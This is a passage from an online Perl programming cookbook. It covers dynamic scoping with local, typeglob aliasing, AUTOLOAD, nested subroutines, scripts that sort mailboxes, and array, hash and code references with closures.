Using local( ) for temporary values for globals

The first situation is more apt to happen with predefined, built-in variables than it is with user variables. These are often variables that Perl will use as hints for its high-level operations. In particular, any function that uses $_, implicitly or explicitly, should certainly have a local $_. This is annoyingly easy to forget to do. See Recipe 13.15 for one solution to this.

Here's an example of using a lot of global variables. The $/ variable is a global that implicitly affects the behavior of the readline operator used in <FH> operations.

$para = get_paragraph(*FH);        # pass filehandle glob
$para = get_paragraph(\*FH);       # pass filehandle by glob reference
$para = get_paragraph(*IO{FH});    # pass filehandle by IO reference
sub get_paragraph {
    my $fh = shift;
    local $/ = '';
    my $paragraph = <$fh>;
    chomp($paragraph);
    return $paragraph;
}

Using local( ) for local handles

The second situation arises when you need a local filehandle or directory handle, or, rarely, a local function. You can, in post 5.000 Perls, use one of the standard Symbol, Filehandle, or IO::Handle modules, but this simple typeglob technique still works. For example:

$contents = get_motd();
sub get_motd {
    local *MOTD;
    open(MOTD, "/etc/motd")        or die "can't open motd: $!";
    local $/ = undef;  # slurp full file;
    local $_ = <MOTD>;
    close (MOTD);
    return $_;
}

If you wanted to return the open filehandle, you'd use:

return *MOTD;

Using local( ) on parts of aggregates

The third situation almost never occurs. Because the local operator is really a "save value" operator, you can use it to save off just one element of an array or hash, even if that array or hash is itself a lexical!

my @nums = (0 .. 5);
sub first {
    local $nums[3] = 3.14159;
    second();
}
sub second {
    print "@nums\n";
}
second();
0 1 2 3 4 5
first();
0 1 2 3.14159 4 5

The only common use for this kind of thing is for temporary signal handlers.

sub first {
    local $SIG{INT} = 'IGNORE';
    second();
}

Now while second() is running, interrupt signals will be ignored. When first() returns, the previous value of $SIG{INT} will be automatically restored.

Although a lot of old code uses local, it's definitely something to steer clear of when it can be avoided. Because local still manipulates the values of global variables, not local variables, you'll run afoul of use strict.

The local operator produces dynamic scoping or run-time scoping. This is in contrast with the other kind of scoping Perl supports, which is much more intuitive. That's the kind of scoping that my provides, known as lexical scoping, or sometimes as static or compile-time scoping.

With dynamic scoping, a variable is accessible if it's in the current scope - or the scope of any frames (blocks) in its subroutine call stack, as determined at run time. Any functions called have full access to dynamic variables, because they're still globals, just ones with temporary values. Only lexical variables are safe from tampering. If that's not enough reason to change, you might be interested to know that lexicals are about 10 percent faster to access than dynamics.

Old code that says:

sub func {
    local($x, $y) = @_;
    #....
}

can almost always be replaced without ill effect by the following:

sub func {
    my($x, $y) = @_;
    #....
}

The only case where code can't be so upgraded is when it relies on dynamic scoping. That would happen if one function called another, and the latter relied upon access to the former's temporary versions of the global variables $x and $y. Code that handles global variables and expects strange action at a distance instead of using proper parameters is fragile at best. Good programmers avoid this kind of thing like the plague.

If you come across old code that uses:

&func(*Global_Array);
sub func {
    local(*aliased_array) = shift;
    for (@aliased_array) { .... }
}

this should probably be changed into something like this:

func(\@Global_Array);
sub func {
    my $array_ref  = shift;
    for (@$array_ref) { .... }
}

They're using the old pass-the-typeglob strategy devised before Perl support proper references. It's not a pretty thing.

See Also

The local and my functions in Chapter 3 of Programming Perl and perlfunc (1); the section on "Subroutines" in Chapter 2 of Programming Perl; the sections on "Private Variables via my( )" "Temporary Values via local( )" in perlsub (1); Recipe 10.2; Recipe 10.16

Previous: 10.12. Handling Exceptions | Perl Cookbook | Next: 10.14. Redefining a Function
10.12. Handling Exceptions | Book Index | 10.14. Redefining a Function


Recipe 10.14. Redefining a Function

Perl CookbookSearch this book

10.14. Redefining a Function

Problem

You want to temporarily or permanently redefine a function, but functions can't be assigned to.

Solution

To redefine a function, assign a new code reference to the typeglob of the name of the function. Use a local if you want it to be temporary.

undef &grow;                # silence -w complaints of redefinition
*grow = \&expand;
grow();                     # calls expand()

{
    local *grow = \&shrink;         # only until this block exists
        grow();                 # calls shrink()
}

Discussion

Unlike a variable but like a handle, a function cannot be directly assigned to. It's just a name. You can manipulate it almost as though it were a variable, because you can directly manipulate the run-time symbol table using typeglobs like *foo to produce interesting aliasing effects.

Assigning a reference to a typeglob changes what is accessed the next time a symbol of that type is needed. This is what the Exporter does when you import a function or variable from one package into another. Since this is direct manipulation of the package symbol table, it only works on package variables (globals), not lexicals.

*one::var = \%two::Table;   # make %one::var alias for %two::Table
*one::big = \&two::small;   # make &one::big alias for &two::small

A typeglob is something you can use local on, but not my. Because of the local, this aliasing effect is then limited to the duration of the current block.

local *fred = \&barney;     # temporarily alias &fred to &barney

If the value assigned to a typeglob is not a reference but itself another typeglob, then all types by that name are aliased. The types aliased in a full typeglob assignment are scalar, array, hash, function, filehandle, directory handle, and format. That means that assigning *Top = *Bottom would make the current package variable $Top an alias for $Bottom, @Top for @Bottom, %Top for %Bottom, and &Top for &Bottom. It would even alias the corresponding file and directory handles and formats! You probably don't want to do this.

Use assignments to typeglobs together with closures to clone a bunch of similar functions cheaply and easily. Imagine you wanted a function for HTML generation to help with colors. For example:

$string =  red("careful here");
print $string;
<FONT COLOR='red'>careful here</FONT>

You could write the red function this way:

sub red { "<FONT COLOR='red'>@_</FONT>" }

If you need more colors, you could do something like this:

sub color_font {
    my $color = shift;
    return "<FONT COLOR='$color'>@_</FONT>";
}
sub red    { color_font("red", @_)     }
sub green  { color_font("green", @_)   }
sub blue   { color_font("blue", @_)    }
sub purple { color_font("purple", @_)  }
# etc

The similar nature of these functions suggests that there may be a way to factor out the common bit. To do this, use an assignment to an indirect typeglob. If you're running with the highly recommended use strict pragma, you must first disable strict 'refs' for that block.

@colors = qw(red blue green yellow orange purple violet);
for my $name (@colors) {
    no strict 'refs';
    *$name = sub { "<FONT COLOR='$name'>@_</FONT>" };
}

These functions all seem independent, but the real code was in fact only compiled once. This technique saves on both compile time and memory use. To create a proper closure, any variables in the anonymous subroutine must be lexicals. That's the reason for the my on the loop iteration variable.

This is one of the few places where giving a prototype to a closure is sensible. If you wanted to impose scalar context on the arguments of these functions (probably not a wise idea), you could have written it this way instead:

*$name = sub ($) { "<FONT COLOR='$name'>$_[0]</FONT>" };

However, since prototype checking happens at compile time, the preceding assignment happens too late to be useful. So, put the whole loop of assignments within a BEGIN block, forcing it to occur during compilation.

See Also

The sections on "Symbol Tables" in Chapter 5 of Programming Perl and in perlmod (1); the section on "Closures" in Chapter 4 of Programming Perl and the discussion of closures in perlref (1); Recipe 10.11; Recipe 11.4

Previous: 10.13. Saving Global Values | Perl Cookbook | Next: 10.15. Trapping Undefined Function Calls with AUTOLOAD
10.13. Saving Global Values | Book Index | 10.15. Trapping Undefined Function Calls with AUTOLOAD


Recipe 10.15. Trapping Undefined Function Calls with AUTOLOAD

Perl CookbookSearch this book

10.15. Trapping Undefined Function Calls with AUTOLOAD

Problem

You want to intercept calls to undefined functions so you can handle them gracefully.

Solution

Declare a function called AUTOLOAD for the package whose undefined function calls you'd like to trap. While running, that package's $AUTOLOAD variable contains the name of the undefined function being called.

Discussion

Another strategy for creating similar functions is to use a proxy function. If you call an undefined function, instead of automatically raising an exception, you can trap the call. If the function's package has a function named AUTOLOAD, then this function is called in its place, with the special package global $AUTOLOAD set to the fully qualified function name. The AUTOLOAD subroutine can then do whatever that function would do.

sub AUTOLOAD {
    use vars qw($AUTOLOAD);
    my $color = $AUTOLOAD;
    $color =~ s/.*:://;
    return "<FONT COLOR='$color'>@_</FONT>";
}
#note: sub chartreuse isn't defined.
print chartreuse("stuff");

When the nonexistent main::chartreuse function is called, rather than raising an exception, main::AUTOLOAD is called with the same arguments as you passed chartreuse . The package variable $AUTOLOAD would contain the string main::chartreuse because that's the function it's proxying.

The technique using typeglob assignments shown in Recipe 10.14 is faster and more flexible than using AUTOLOAD. It's faster because you don't have to run the copy and substitute. It's more flexible because it lets you do this:

{
    local *yellow = \&violet;
    local (*red, *green) = (\&green, \&red);
    print_stuff();
}

While print_stuff() is running, or while in any functions it calls, anything printed in yellow will come out violet, and the red and green texts will exchange colors.

Aliasing subroutines like this won't handle calls to undefined subroutines. AUTOLOAD does.

See Also

The section on "Autoloading" in Chapter 5 of Programming Perl and in perlsub (1); the documentation for the standard modules AutoLoader and AutoSplit, also in Chapter 7 of Programming Perl; Recipe 10.12; Recipe 12.10, Recipe 13.11

Previous: 10.14. Redefining a Function | Perl Cookbook | Next: 10.16. Nesting Subroutines
10.14. Redefining a Function | Book Index | 10.16. Nesting Subroutines


Recipe 10.16. Nesting Subroutines

Perl CookbookSearch this book

10.16. Nesting Subroutines

Problem

You want to have nested subroutines, such that one subroutine is only visible and callable from another. When you try the obvious approach of nesting sub FOO { sub BAR { } ... } Perl gives you warnings about variables that will not stay shared.

Solution

Instead of having the inner functions be normal subroutines, make them closures and temporarily assign them to the typeglob of the right name to create a localized function.

Discussion

If you use nested subroutines in other programming languages with their own private variables, you'll have to work at it a bit in Perl. The intuitive coding of this kind of thing gives the warning "will not stay shared". For example, this won't work:

sub outer {
    my $x = $_[0] + 35;
    sub inner { return $x * 19 }   # WRONG
    return $x + inner();
}

The following is a workaround:

sub outer {
    my $x = $_[0] + 35;
    local *inner = sub { return $x * 19 };
    return $x + inner();
}

Now inner() can only be called from within outer() because of the temporary assignments of the closure. But when it does, it has normal access to the lexical variable $x from the scope of outer().

This essentially creates a function local to another function, something not directly supported in Perl; however, the programming isn't always clear.

See Also

The sections on "Symbol Tables" in Chapter 5 of Programming Perl and in perlmod (1); the section on "Closures" in Chapter 4 of Programming Perl and the discussion of closures in perlref (1); Recipe 10.13; Recipe 11.4

Previous: 10.15. Trapping Undefined Function Calls with AUTOLOAD | Perl Cookbook | Next: 10.17. Program: Sorting Your Mail
10.15. Trapping Undefined Function Calls with AUTOLOAD | Book Index | 10.17. Program: Sorting Your Mail


Recipe 10.17. Program: Sorting Your Mail

Perl CookbookSearch this book

10.17. Program: Sorting Your Mail

The program in Example 10.1 sorts a mailbox by subject by reading input a paragraph at a time, looking for one with a "From" at the start of a line. When it finds one, it searches for the subject, strips it of any "Re: " marks, and stores its lowercased version in the @sub array. Meanwhile, the messages themselves are stored in a corresponding @msgs array. The $msgno variable keeps track of the message number.

Example 10.1: bysub1

#!/usr/bin/perl
# bysub1 - simple sort by subject
my(@msgs, @sub);
my $msgno = -1;
$/ = '';                    # paragraph reads
while (<>) {
    if (/^From/m) {
        /^Subject:\s*(?:Re:\s*)*(.*)/mi;
        $sub[++$msgno] = lc($1) || '';
    }
    $msgs[$msgno] .= $_;
}
for my $i (sort { $sub[$a] cmp $sub[$b] || $a <=> $b } (0 .. $#msgs)) {
    print $msgs[$i];
}

That sort is only sorting array indices. If the subjects are the same, cmp returns 0, so the second part of the || is taken, which compares the message numbers in the order they originally appeared.

If sort were fed a list like (0,1,2,3), that list would get sorted into a different permutation, perhaps (2,1,3,0). We iterate across them with a for loop to print out each message.

Example 10.2 shows how an awk programmer might code this program, using the -00 switch to read paragraphs instead of lines.

Example 10.2: bysub2

#!/usr/bin/perl -n00
# bysub2 - awkish sort-by-subject
BEGIN { $msgno = -1 }
$sub[++$msgno] = (/^Subject:\s*(?:Re:\s*)*(.*)/mi)[0] if /^From/m;
$msg[$msgno] .= $_;
END { print @msg[ sort { $sub[$a] cmp $sub[$b] || $a <=> $b } (0 .. $#msg) ] }

Perl has kept parallel arrays since its early days. Keeping each message in a hash is a more elegant solution. We'll sort on each field in the hash, by making an anonymous hash as described in Chapter 11.

Example 10.3 is a program similar in spirit to Example 10.1 and Example 10.2.

Example 10.3: bysub3

#!/usr/bin/perl -00
# bysub3 - sort by subject using hash records
use strict;
my @msgs = ();
while (<>) {
    push @msgs, {
        SUBJECT => /^Subject:\s*(?:Re:\s*)*(.*)/mi,
        NUMBER  => scalar @msgs,   # which msgno this is
        TEXT    => '',
    } if /^From/m;
    $msgs[-1]{TEXT} .= $_;
}

for my $msg (sort {
                        $a->{SUBJECT} cmp $b->{SUBJECT}
                                       ||
                        $a->{NUMBER}  <=> $b->{NUMBER}
                  } @msgs
         )
{
    print $msg->{TEXT};
}

Once we have real hashes, adding further sorting criteria is simple. A common way to sort a folder is subject major, date minor order. The hard part is figuring out how to parse and compare dates. Date::Manip does this, returning a string we can compare; however, the datesort program in Example 10.4, which uses Date::Manip, runs more than 10 times slower than the previous one. Parsing dates in unpredictable formats is extremely slow.

Example 10.4: datesort (continued)

#!/usr/bin/perl -00
# datesort - sort mbox by subject then date
use strict;
use Date::Manip;
my @msgs = ();
while (<>) {
    next unless /^From/m;
    my $date = '';
    if (/^Date:\s*(.*)/m) {
        ($date = $1) =~ s/\s+\(.*//;  # library hates (MST)
        $date = ParseDate($date);
    }
    push @msgs, {
        SUBJECT => /^Subject:\s*(?:Re:\s*)*(.*)/mi,
        DATE    => $date,
        NUMBER  => scalar @msgs,
        TEXT    => '',
    };
} continue {
    $msgs[-1]{TEXT} .= $_;
}

for my $msg (sort {
                        $a->{SUBJECT} cmp $b->{SUBJECT}
                                       ||
                        $a->{DATE}    cmp $b->{DATE}
                                       ||
                        $a->{NUMBER}  <=> $b->{NUMBER}

                  } @msgs
         )
{
    print $msg->{TEXT};
}

Example 10.4 is written to draw attention to the continue block. When a loop's end is reached, either because it fell through to that point or got there from a next, the whole continue block is executed. It corresponds to the third portion of a three-part for loop, except that the continue block isn't restricted to an expression. It's a full block, with separate statements.

See Also

The sort function in Chapter 3 of Programming Perl and in perlfunc (1); the discussion of the $/ variable in Chapter 2 of Programming Perl, perlvar (1), and the Introduction to Chapter 8, File Contents; Recipe 3.7; Recipe 4.15; Recipe 5.9; Recipe 11.9

Previous: 10.16. Nesting Subroutines | Perl Cookbook | Next: 11. References and Records
10.16. Nesting Subroutines | Book Index | 11. References and Records


[Chapter 11] References and Records

Perl CookbookSearch this book
Previous: 10.17. Program: Sorting Your Mail Chapter 11 Next: 11.1. Taking References to Arrays

11. References and Records

Contents:
Introduction
Taking References to Arrays
Making Hashes of Arrays
Taking References to Hashes
Taking References to Functions
Taking References to Scalars
Creating Arrays of Scalar References
Using Closures Instead of Objects
Creating References to Methods
Constructing Records
Reading and Writing Hash Records to Text Files
Printing Data Structures
Copying Data Structures
Storing Data Structures to Disk
Transparently Persistent Data Structures
Program: Binary Trees

With as little a web as this will I ensnare as great a fly as Cassio.

- Shakespeare Othello, Act II, scene i

11.0. Introduction

Perl provides three fundamental data types: scalars, arrays, and hashes. It's certainly possible to write many programs without recourse to complex records, but most programs need something more complex than simple variables and lists.

Perl's three built-in types combine with references to produce arbitrarily complex and powerful data structures, the records that users of ancient versions of Perl desperately yearned for. Selecting the proper data structure and algorithm can make the difference between an elegant program that does its job quickly and an ungainly concoction that's glacially slow to execute and consumes system resources voraciously.

The first part of this chapter shows how to create and use plain references. The second part shows how to use references to create higher order data structures.

References

To grasp the concept of references, you must first understand how Perl stores values in variables. Each defined variable has a name and the address of a chunk of memory associated with it. This idea of storing addresses is fundamental to references because a reference is a value that holds the location of another value. The scalar value that contains the memory address is called a reference. Whatever value lives at that memory address is called a referent. (You may also call it a "thingie" if you prefer to live a whimsical existence.) See Figure 11.1.

The referent could be any of Perl's built-in types (scalar, array, hash, ref, code, or glob) or a user-defined type based on one of the built-in ones.

Figure 11.1: Reference and referent

Referents in Perl are typed. This means you can't treat a reference to an array as though it were a reference to a hash, for example. Attempting to do so produces a runtime exception. No mechanism for type casting exists in Perl. This is considered a feature.

So far, it may look as though a reference were little more than a raw address with strong typing. But it's far more than that. Perl takes care of automatic memory allocation and deallocation (garbage collection) for references, just as it does for everything else. Every chunk of memory in Perl has a reference count associated with it, representing how many places know about that referent. The memory used by a referent is not returned to the process's free pool until its reference count reaches zero. This ensures that you never have a reference that isn't valid - no more core dumps and general protection faults from mismanaged pointers as in C.

Freed memory is returned to Perl for later use, but few operating systems reclaim it and decrease the process's memory footprint. This is because most memory allocators use a stack, and if you free up memory in the middle of the stack, the operating system can't take it back without moving the rest of the allocated memory around. That would destroy the integrity of your pointers and blow XS code out of the water.

To follow a reference to its referent, preface the reference with the appropriate type symbol for the data you're accessing. For instance, if $sref is a reference to a scalar, you can say:

print $$sref;    # prints the scalar value that the reference $sref refers to
$$sref = 3;      # assigns to $sref's referent

To access one element of an array or hash whose reference you have, use the infix pointer-arrow notation, as in $rv->[37] or $rv->{"wilma"}. Besides dereferencing array references and hash references, the arrow is also used to call an indirect function through its reference, as in $code_ref->("arg1", "arg2"); this is discussed Recipe 11.4. If you're using an object, use an arrow to call a method, $object->methodname("arg1", "arg2"), as shown in Chapter 13, Classes, Objects, and Ties.

Perl's syntax rules make dereferencing complex expressions tricky - it falls into the category of "hard things that should be possible." Mixing right associative and left associative operators doesn't work out well. For example, $$x[4] is the same as $x->[4]; that is, it treats $x as a reference to an array and then extracts element number four from that. This could also have been written ${$x}[4]. If you really meant "take the fifth element of @x and dereference it as a scalar reference," then you need to use ${$x[4]}. You should avoid putting two type signs ($@%&) side-by-side, unless it's simple and unambiguous like %hash = %$hashref.

In the simple cases using $$sref above, you could have written:

print ${$sref};             # prints the scalar $sref refers to
${$sref} = 3;               # assigns to $sref's referent

For safety, some programmers use this notation exclusively.

When passed a reference, the ref function returns a string describing its referent. (It returns false if passed a non-reference.) This string is usually one of SCALAR, ARRAY, HASH, or CODE, although the other built-in types of GLOB, REF, IO, Regexp, and LVALUE also occasionally appear. If you call ref on a non-reference, it returns an empty string. If you call ref on an object (a reference whose referent has been blessed), it returns the class the object was blessed into: CGI, IO::Socket, or even ACME::Widget.

You can create references in Perl by taking references to things that are already there or by using the [ ], { }, and sub { } composers. The backslash operator is simple to use: put it before the thing you want a reference to. For instance, if you want a reference to the contents of @array, just say:

$aref = \@array;

You can even create references to constant values; future attempts to change the value of the referent will cause a runtime error:

$pi = \3.14159;
$$pi = 4;           # runtime error

Anonymous Data

Taking references to existing data is helpful when you're using pass-by-reference in a function call, but for dynamic programming, it becomes cumbersome. You need to be able to grow data structures at will, to allocate new arrays and hashes (or scalars or functions) on demand. You don't want to be bogged down with having to give them names each time.

Perl can explicitly create anonymous arrays and hashes, which allocate a new array or hash and return a reference to that memory:

$aref = [ 3, 4, 5 ];                                # new anonymous array
$href = { "How" => "Now", "Brown" => "Cow" };       # new anonymous hash

Perl can also create a reference implicitly by autovivification. This is what happens when you try to assign through an undefined references and Perl automatically creates the reference you're trying to use.

undef $aref;
@$aref = (1, 2, 3);
print $aref;
ARRAY(0x80c04f0)

Notice how we went from an undefined variable to one with an array reference in it without actually assigning anything? Perl filled in the undefined reference for you. This is the property that permits something like this to work as the first statement in your program:

$a[4][23][53][21] = "fred";
print $a[4][23][53][21];
fred
print $a[4][23][53];
ARRAY(0x81e2494)
print $a[4][23];
ARRAY(0x81e0748)
print $a[4];
ARRAY(0x822cd40)

The following table shows mechanisms for producing references to both named and anonymous scalars, arrays, hashes, and functions. (Anonymous typeglobs are too scary to show - and virtually never used. It's best to use Symbol::gensym() or IO::Handle->new() for them.)

Reference to | Named | Anonymous
Scalar | \$scalar | \do{my $anon}
Array | \@array | [ LIST ]
Hash | \%hash | { LIST }
Code | \&function | sub { CODE }

These diagrams illustrate the differences between named and anonymous values. Figure 11.2 shows named values.

Figure 11.2: Named values

In other words, saying $a = \$b makes $$a and $b the same piece of memory. If you say $$a = 3, then the value of $b is set to 3.

Figure 11.3 shows anonymous values.

Figure 11.3: Anonymous values

Every reference evaluates as true, by definition, so if you write a subroutine that returns a reference, you can return undef on error and check for it with:

$op_cit = cite($ibid)       or die "couldn't make a reference";

The undef operator can be used on any variable or function in Perl to free its memory. This does not necessarily free memory, call object destructors, etc. It just decrements the reference count by one. Without an argument, undef produces an undefined value.

Records

The classic use of references in Perl is to circumvent the restriction that arrays and hashes may hold scalars only. References are scalars, so to make an array of arrays, make an array of array references. Similarly, hashes of hashes are implemented as hashes of hash references, arrays of hashes as arrays of hash references, hashes of arrays as hashes of array references, and so on.

Once you have these complex structures, you can use them to implement records. A record is a single logical unit composed of different attributes. For instance, a name, an address, and a birthday might comprise a record representing a person. C calls such things structs, and Pascal calls them RECORDs. Perl doesn't have a particular name for these because you can implement this notion in different ways.

The most common technique in Perl is to treat a hash as a record, where the keys of the hash are the record's field names and the values of the hash are those fields' values.

For instance, we might create a "person" record like this:

$Nat = { "Name"     => "Leonhard Euler",
         "Address"  => "1729 Ramanujan Lane\nMathworld, PI 31416",
         "Birthday" => 0x5bb5580,
       };

Because $Nat is a scalar, it can be stored in an array or hash element, thus creating create groups of people. Now apply the array and hash techniques from Chapters 4 and 5 to sort the sets, merge hashes, pick a random record, and so on.

The attributes of a record, including the "person" record, are always scalars. You can certainly use numbers as readily as strings there, but that's no great trick. The real power play happens when you use even more references for values in the record. "Birthday", for instance, might be stored as an anonymous array with three elements: day, month, and year. You could then say $person->{"Birthday"}->[0] to access just the day field. Or a date might be represented as a hash record, which would then lend itself to access such as $person->{"Birthday"}->{"day"}. Adding references to your collection of skills makes possible many more complex and useful programming strategies.

At this point, we've conceptually moved beyond simple records. We're now creating elaborate data structures that represent complicated relationships between the data they hold. Although we can use these to implement traditional data structures like linked lists, the recipes in the second half of this chapter don't deal specifically with any particular structure. Instead, they give generic techniques for loading, printing, copying, and saving generic data structures. The final program example demonstrates how to manipulate binary trees.

See Also

Chapter 4 of Programming Perl; perlref (1), perllol (1), and perldsc (1)

Previous: 10.17. Program: Sorting Your Mail | Perl Cookbook | Next: 11.1. Taking References to Arrays
10.17. Program: Sorting Your Mail | Book Index | 11.1. Taking References to Arrays


Recipe 11.1. Taking References to Arrays

Perl CookbookSearch this book

11.1. Taking References to Arrays

Problem

You need to manipulate an array by reference.

Solution

To get a reference to an array:

$aref               = \@array;
$anon_array         = [1, 3, 5, 7, 9];
$anon_copy          = [ @array ];
@$implicit_creation = (2, 4, 6, 8, 10);

To deference an array reference, precede it with an at sign (@):

push(@$anon_array, 11);

Or use a pointer arrow plus a bracketed subscript for a particular element:

$two = $implicit_creation->[0];

To get the last index number by reference, or the number of items in that referenced array:

$last_idx  = $#$aref;
$num_items = @$aref;

Or defensively embracing and forcing context:

$last_idx  = $#{ $aref };
$num_items = scalar @{ $aref };

Discussion

Here are array references in action:

# check whether $someref contains a simple array reference
if (ref($someref) ne 'ARRAY') {
    die "Expected an array reference, not $someref\n";
}

print "@{$array_ref}\n";        # print original data

@order = sort @{ $array_ref };  # sort it

push @{ $array_ref }, $item;    # append new element to orig array

If you can't decide whether to use a reference to a named array or to create a new one, here's a simplistic guideline that will prove right more often than not. Only take a reference to an existing array either to return the reference out of scope, thereby creating an anonymous array, or to pass the array by reference to a function. For virtually all other cases, use [@array] to create a new array reference with a copy of the old values.

Automatic reference counting and the backslash operator make a powerful combination:

sub array_ref {
    my @array;
    return \@array;
}

$aref1 = array_ref();
$aref2 = array_ref();

Each time array_ref is called, the function allocates a new piece of memory for @array. If we hadn't returned a reference to @array, its memory would have been freed when its block, the subroutine, ended. However, because a reference to @array is still accessible, Perl doesn't free that storage, and we end up with a reference to a piece of memory that can no longer be accessed through the symbol table. Such a piece of memory is called anonymous because no name is associated with it.

To access a particular element of the array referenced by $aref, you could write $$aref[4], but writing $aref->[4] is the same thing, and it is clearer.

print $array_ref->[$N];         # access item in position N (best)
print $$array_ref[$N];          # same, but confusing
print ${$array_ref}[$N];        # same, but still confusing, and ugly to boot

If you have an array reference, you can only access a slice of the referenced array in this way:

@$pie[3..5];                    # array slice, but a little confusing to read
@{$pie}[3..5];                  # array slice, easier (?) to read

Array slices, even when accessed through array references, are assignable. In the next line, the array dereference happens first, and then the slice:

@{$pie}[3..5] = ("blackberry", "blueberry", "pumpkin");

An array slice is exactly the same as a list of individual array elements. Because you can't take a reference to a list, you can't take a reference to an array slice:

$sliceref = \@{$pie}[3..5];     # WRONG!

To iterate through the entire array, use either a foreach loop or a for loop:

foreach $item ( @{$array_ref} ) {
    # $item has data
}

for ($idx = 0; $idx <= $#{ $array_ref }; $idx++) {
    # $array_ref->[$idx] has data
}

See Also

Chapter 4 of Programming Perl; perlref (1) and perllol (1); Recipe 2.14; Recipe 4.5

Previous: 11.0. Introduction | Perl Cookbook | Next: 11.2. Making Hashes of Arrays
11.0. Introduction | Book Index | 11.2. Making Hashes of Arrays


Recipe 11.2. Making Hashes of Arrays

Perl CookbookSearch this book

11.2. Making Hashes of Arrays

Problem

For each key in a hash, only one scalar value is allowed, but you'd like to use one key to store and retrieve multiple values. That is, you'd like the value to be a list.

Solution

Use references to arrays as the hash values. Use push to append:

push(@{ $hash{"KEYNAME"} }, "new value");

Then, dereference the value as an array reference when printing out the hash:

foreach $string (keys %hash) {
    print "$string: @{$hash{$string}}\n";
}

Discussion

You can only store scalar values in a hash. References, however, are scalars. This solves the problem of storing multiple values for one key by making $hash{$key} a reference to an array containing the values for $key. The normal hash operations (insertion, deletion, iteration, and testing for existence) can now be written in terms of array operations like push, splice, and foreach.

Here's how to give a key many values:

$hash{"a key"} = [ 3, 4, 5 ];       # anonymous array

Once you have a key with many values, here's how to use them:

@values = @{ $hash{"a key"} };

To append a new value to the array of values associated with a particular key, use push:

push @{ $hash{"a key"} }, $value;

The classic application of these data structures is inverting a hash that has many keys with the same associated value. When inverted, you end up with a hash that has many values for the same key. This is addressed in Recipe 5.8.

Be warned that this:

@residents = @{ $phone2name{$number} };

causes a runtime exception under use strict because you're dereferencing an undefined reference where autovivification won't occur. You must do this instead:

@residents = exists( $phone2name{$number} )
                ? @{ $phone2name{$number} }
                : ();

See Also

The section on "Hashs of Arrays" in Chapter 4 of Programming Perl and in perldsc (1); Recipe 5.8; the example "Tie Example: Make a Hash That Always Appends" in Recipe 13.15

Previous: 11.1. Taking References to Arrays | Perl Cookbook | Next: 11.3. Taking References to Hashes
11.1. Taking References to Arrays | Book Index | 11.3. Taking References to Hashes


Recipe 11.3. Taking References to Hashes

Perl CookbookSearch this book

11.3. Taking References to Hashes

Problem

You need to manipulate a hash by reference. This might be because it was passed into a function that way or because it's part of a larger data structure.

Solution

To get a hash reference:

$href = \%hash;
$anon_hash = { "key1" => "value1", "key2" => "value2", ... };
$anon_hash_copy = { %hash };

To dereference a hash reference:

%hash  = %$href;
$value = $href->{$key};
@slice = @$href{$key1, $key2, $key3};  # note: no arrow!
@keys  = keys %$href;

To check whether something is a hash reference:

if (ref($someref) ne 'HASH') {
    die "Expected a hash reference, not $someref\n";
}

Discussion

This example prints out all the keys and values in two predefined hashes:

foreach $href ( \%ENV, \%INC ) {       # OR: for $href ( \(%ENV,%INC) ) {
    foreach $key ( keys %$href ) {
        print "$key => $href->{$key}\n";
    }
}

Accessing slices of hashes by reference works just as it does with slices of arrays by reference. For example:

@values = @$hash_ref{"key1", "key2", "key3"};

for $val (@$hash_ref{"key1", "key2", "key3"}) {
    $val += 7;   # add 7 to each value in hash slice
}

See Also

Recipe 5.0; Chapter 4 of Programming Perl; perlref (1); Recipe 11.9

Previous: 11.2. Making Hashes of Arrays | Perl Cookbook | Next: 11.4. Taking References to Functions
11.2. Making Hashes of Arrays | Book Index | 11.4. Taking References to Functions


Recipe 11.4. Taking References to Functions

Perl CookbookSearch this book

11.4. Taking References to Functions

Problem

You need to manipulate a subroutine by reference. This might happen if you need to create a signal handler, a Tk callback, or a hash of function pointers.

Solution

To get a code reference:

$cref = \&func;
$cref = sub { ... };

To call a code reference:

@returned = $cref->(@arguments);
@returned = &$cref(@arguments);

Discussion

If the name of a function is func, you can produce a reference to this code by preceding that name with \&. You can also create anonymous functions using the sub {} notation. These code references can be stored just like any other reference.

Perl 5.004 introduced the postfix arrow notation for dereferencing a code reference. Prior to that, to call a subroutine by reference, you had to say &$funcname(@ARGS), where $funcname contained the name of a function. Although it is still possible to store the name of a function in a variable, such as:

$funcname = "thefunc";
&$funcname();

that's not a very good solution for several reasons. First, it uses symbolic references, not real (hard) references, so it is forbidden under the use strict 'refs' pragma. Symbolic references to variables are usually a bad idea, since they can't access lexical variables, only globals, and aren't reference counted.

Second, it doesn't include package information, so if executed in a different package, it would try to call the wrong function. Finally, in the odd case that the function were redefined at some point, the symbolic reference would get whatever the current definition for the function was, whereas the hard reference would retain its old definition.

Instead of placing the name of the function in the variable, use the backslash operator to create a reference to the function. This is the normal way to store a function in a variable or pass it to another function. You can mix and match references to named functions with references to unnamed ones:

my %commands = (
    "happy" => \&joy,
    "sad"   => \&sullen,
    "done"  => sub { die "See ya!" },
    "mad"   => \&angry,
);

print "How are you? ";
chomp($string = <STDIN>);
if ($commands{$string}) {
    $commands{$string}->();
} else {
    print "No such command: $string\n";
}

If you create an anonymous function that refers to a lexical (my) variable from an enclosing scope, Perl's reference counting ensures that the lexical variable is never deallocated so long as that function reference exists:

sub counter_maker {
    my $start = 0;
    return sub {                      # this is a closure
        return $start++;              # lexical from enclosing scope
    };
}

$counter = counter_maker();

for ($i = 0; $i < 5; $i ++) {
    print &$counter, "\n";
}

Even though counter_maker has ended and $start has gone out of scope, Perl doesn't free it because the anonymous subroutine referenced by $counter still has a reference to $start. If we call counter_maker again, it'll return another anonymous subroutine reference that uses a different $start:

$counter1 = counter_maker();
$counter2 = counter_maker();

for ($i = 0; $i < 5; $i ++) {
    print &$counter1, "\n";
}

print &$counter1, " ", &$counter2, "\n";
0
1
2
3
4
5 0

Closures are often used in callback routines. In graphical and other event-based programming, you associate code with a keypress, mouse click, window expose event, etc. The code will be called much later, probably from an entirely different scope. Variables mentioned in the closure must be available when it's finally called. To work properly, such variables must be lexicals, not globals.

Another use for closures is function generators, that is, functions that create and return brand new functions. counter_maker is a function generator. Here's another simple one:

sub timestamp {
    my $start_time = time();
    return sub { return time() - $start_time };
}
$early = timestamp();
sleep 20;
$later = timestamp();
sleep 10;
printf "It's been %d seconds since early.\n", $early->();
printf "It's been %d seconds since later.\n", $later->();
It's been 30 seconds since early.
It's been 10 seconds since later.

Each call to timestamp generates and returns a brand new function. The timestamp function creates a lexical called $start_time that contains the current clock time (in epoch seconds). Every time that closure is called, it returns how many seconds have passed since it was created by subtracting its starting time from the current time.

See Also

